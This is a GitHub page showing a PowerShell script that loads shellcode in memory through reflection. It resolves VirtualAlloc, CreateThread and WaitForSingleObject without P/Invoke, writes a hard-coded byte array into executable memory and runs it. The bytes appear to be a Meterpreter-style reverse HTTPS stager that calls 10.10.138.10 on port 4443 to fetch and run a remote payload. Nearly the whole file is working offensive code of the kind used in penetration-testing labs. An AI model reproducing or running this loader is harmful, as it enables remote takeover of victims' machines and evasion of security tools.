-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathReflective_Shellcode_3641.ps1
54 lines (46 loc) · 5.95 KB
/
Reflective_Shellcode_3641.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {
If($_.Name -eq "GetProcAddress") {
$tmp+=$_}
}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
<#
$VirtualAllocAddr = LookupFunc kernel32.dll VirtualAlloc
$VirtualAllocDelegateType = getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])
([IntPtr])
$VirtualAlloc =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegateType)
$lpMem = $VirtualAlloc.Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
#Write-Output $VirtualAlloc#>
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
Write-Output $lpMem
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x44,0x8b,0x40,0x20,0x8b,0x48,0x18,0x50,0x49,0x1,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x41,0x58,0x41,0x58,0x48,0x1,0xd0,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xd,0x0,0x0,0x0,0x31,0x30,0x2e,0x31,0x30,0x2e,0x31,0x33,0x38,0x2e,0x31,0x30,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0x5b,0x11,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xa1,0x0,0x0,0x0,0x2f,0x79,0x45,0x78,0x55,0x5f,0x39,0x6e,0x53,0x2d,0x45,0x44,0x6a,0x6b,0x4f,0x4b,0x53,0x67,0x49,0x5f,0x77,0x4c,0x77,0x69,0x70,0x75,0x6b,0x4a,0x4e,0x76,0x50,0x4f,0x6f,0x35,0x49,0x4e,0x2d,0x68,0x4b,0x50,0x78,0x64,0x45,0x71,0x7a,0x59,0x78,0x69,0x34,0x2d,0x55,0x73,0x66,0x4e,0x53,0x68,0x4c,0x58,0x58,0x46,0x37,0x70,0x32,0x55,0x4d,0x4d,0x52,0x6c,0x6e,0x6f,0x71,0x68,0x48,0x65,0x44,0x4c,0x39,0x76,0x64,0x4b,0x5a,0x56,0x47,0x67,0x59,0x33,0x5a,0x78,0x59,0x32,0x4a,0x4c,0x53,0x41,0x6f,0x4d,0x50,0x50,0x49,0x78,0x6e,0x7a,0x66,0x78,0x38,0x75,0x6e,0x5f,0x4f,0x66,0x30,0x4b,0x41,0x41,0x55,0x65,0x7a,0x47,0x6c,0x48,0x44,0x35,0x6d,0x41,0x4a,0x30,0x69,0x5f,0x6b,0x4b,0x59,0x76,0x66,0x54,0x6c,0x6d,0x4e,0x45,0x33,0x50,0x74,0x50,0x69,0x49,0x44,0x45,0x6b,0x52,0x67,0x45,0x51,0x71,0x39,0x79,0x37,0x78,0x72,0x39,0x46,0x2d,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0x89,0xda,0xff,0xd5
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],
[UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)